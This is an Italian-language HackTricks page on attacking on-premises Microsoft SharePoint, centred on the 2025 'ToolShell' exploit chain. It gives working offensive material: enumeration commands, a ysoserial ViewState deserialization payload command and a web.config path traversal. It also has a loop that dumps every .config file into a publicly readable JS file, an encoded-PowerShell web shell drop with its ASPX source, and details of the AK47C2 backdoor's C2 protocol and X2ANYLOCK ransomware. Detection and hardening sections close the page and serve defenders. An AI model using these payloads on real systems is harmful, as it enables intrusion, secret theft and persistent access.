Microsoft SharePoint – Pentesting & Exploitation

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Microsoft SharePoint (on-premises) è costruito su ASP.NET/IIS. La maggior parte della superficie di attacco web classica (ViewState, Web.Config, web shells, ecc.) è quindi presente, ma SharePoint include anche centinaia di pagine ASPX proprietarie e servizi web che ampliano notevolmente la superficie di attacco esposta. Questa pagina raccoglie trucchi pratici per enumerare, sfruttare e persistere all'interno degli ambienti SharePoint con enfasi sulla catena di exploit 2025 divulgata da Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> consente l'inserimento di codice Server-Side Include arbitrario nella pagina che viene successivamente compilata da ASP.NET. Un attaccante può incorporare C# che esegue Process.Start() e inserire un ViewState malevolo.

2.2 CVE-2025-49706 – Improper Authentication Bypass

La stessa pagina si fida dell'intestazione X-Forms_BaseUrl per determinare il contesto del sito. Puntandola a /_layouts/15/, la MFA/SSO imposta nel sito principale può essere bypassata senza autenticazione.

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

Una volta che l'attaccante controlla un gadget in ToolPane.aspx, può inviare un valore __VIEWSTATE non firmato (o solo MAC) che attiva la deserializzazione .NET all'interno di w3wp.exe, portando all'esecuzione di codice.

Se la firma è abilitata, rubare il ValidationKey/DecryptionKey da qualsiasi web.config (vedi 2.4) e forgiare il payload con ysoserial.net o ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Per una spiegazione approfondita su come abusare di ASP.NET ViewState leggi:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / divulgazione di web.config

Inviare un parametro Source creato a ToolPane.aspx (ad es. ../../../../web.config) restituisce il file mirato, consentendo la fuga di:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forgiare i cookie ViewState / ASPXAUTH
  • stringhe di connessione e segreti.

3. Ricette di post-sfruttamento osservate nel mondo reale

3.1 Esfiltrare ogni file .config (variazione-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Il file debug_dev.js risultante può essere scaricato in modo anonimo e contiene tutte le configurazioni sensibili.

3.2 Distribuire una shell web ASPX codificata in Base64 (variazione-2)

powershell.exe -EncodedCommand <base64>

Esempio di payload decodificato (accorciato):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Scritto a:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

La shell espone endpoint per leggere / ruotare le chiavi della macchina che consente di forgiare i cookie ViewState e ASPXAUTH attraverso la farm.

3.3 Variante offuscata (variazione-3)

Stessa shell ma:

  • posizionata sotto ...\15\TEMPLATE\LAYOUTS\
  • nomi delle variabili ridotti a lettere singole
  • Thread.Sleep(<ms>) aggiunto per evasione della sandbox e bypass dell'AV basato sul timing.

3.4 Backdoor multi-protocollo AK47C2 e ransomware X2ANYLOCK (osservato 2025-2026)

Indagini recenti di risposta agli incidenti (Unit42 “Project AK47”) mostrano come gli attaccanti sfruttino la catena ToolShell dopo il RCE iniziale per distribuire un impianto C2 a doppio canale e ransomware negli ambienti SharePoint:

AK47C2 – variante dnsclient

  • Server DNS hard-coded: 10.7.66.10 che comunica con il dominio autorevole update.updatemicfosoft.com.
  • I messaggi sono oggetti JSON crittografati con XOR con la chiave statica VHBD@H, codificati in esadecimale e incorporati come etichette di sottodominio.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Le query lunghe sono suddivise in chunk e prefissate con s, quindi riassemblate lato server.
  • Il server risponde in record TXT che trasportano lo stesso schema XOR/esadecimale:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • La versione 202504 ha introdotto un formato semplificato <COMMAND>::<SESSION_KEY> e marcatori di chunk 1, 2, a.

AK47C2 – variante httpclient

  • Riutilizza esattamente la routine JSON & XOR ma invia il blob esadecimale nel corpo HTTP POST tramite libcurl (CURLOPT_POSTFIELDS, ecc.).
  • Stesso flusso di lavoro per compiti/risultati che consente:
  • Esecuzione arbitraria di comandi shell.
  • Intervallo di sonno dinamico e istruzioni di kill-switch.

Ransomware X2ANYLOCK

  • Payload C++ a 64 bit caricato tramite side-loading DLL (vedi sotto).
  • Utilizza AES-CBC per i dati dei file + RSA-2048 per avvolgere la chiave AES, quindi aggiunge l'estensione .x2anylock.
  • Cripta ricorsivamente i dischi locali e le condivisioni SMB scoperte; salta i percorsi di sistema.
  • Rilascia una nota in chiaro How to decrypt my data.txt incorporando un Tox ID statico per le negoziazioni.
  • Contiene un kill-switch interno:
c
if (file_mod_time >= "2026-06-06") exit(0);

Catena di side-loading DLL

  1. L'attaccante scrive dllhijacked.dll/My7zdllhijacked.dll accanto a un legittimo 7z.exe.
  2. w3wp.exe generato da SharePoint avvia 7z.exe, che carica la DLL malevola a causa dell'ordine di ricerca di Windows, invocando il punto di ingresso del ransomware in memoria.
  3. Un caricatore LockBit separato osservato (bbb.msiclink_x86.execlink_dll_x86.dll) decritta il codice shell e esegue DLL hollowing in d3dl1.dll per eseguire LockBit 3.0.

info

Lo stesso Tox ID statico trovato in X2ANYLOCK appare nei database LockBit trapelati, suggerendo sovrapposizione tra affiliati.


4. Idee di rilevamento

TelemetriaPerché è sospetta
w3wp.exe → cmd.exeIl processo worker dovrebbe raramente generare una shell
cmd.exe → powershell.exe -EncodedCommandClassico pattern lolbin
Eventi file che creano debug_dev.js o spinstall0.aspxIOC direttamente da ToolShell
ProcessCmdLine CONTIENE ToolPane.aspx (log ETW/Modulo)PoC pubblici invocano questa pagina

Esempio di regola XDR / Sysmon (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Indurimento e Mitigazione

  1. Patch – Gli aggiornamenti di sicurezza di luglio 2025 risolvono tutti e quattro i CVE.
  2. Ruotare ogni <machineKey> e segreti ViewState dopo una compromissione.
  3. Rimuovere il permesso di scrittura LAYOUTS dai gruppi WSS_WPG e WSS_ADMIN_WPG.
  4. Bloccare l'accesso esterno a /_layouts/15/ToolPane.aspx a livello di proxy/WAF.
  5. Abilitare ViewStateUserKey, MAC abilitato e EventValidation personalizzato.

Trucchi correlati

  • Post-sfruttamento di IIS e abuso di web.config:

IIS - Internet Information Services

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks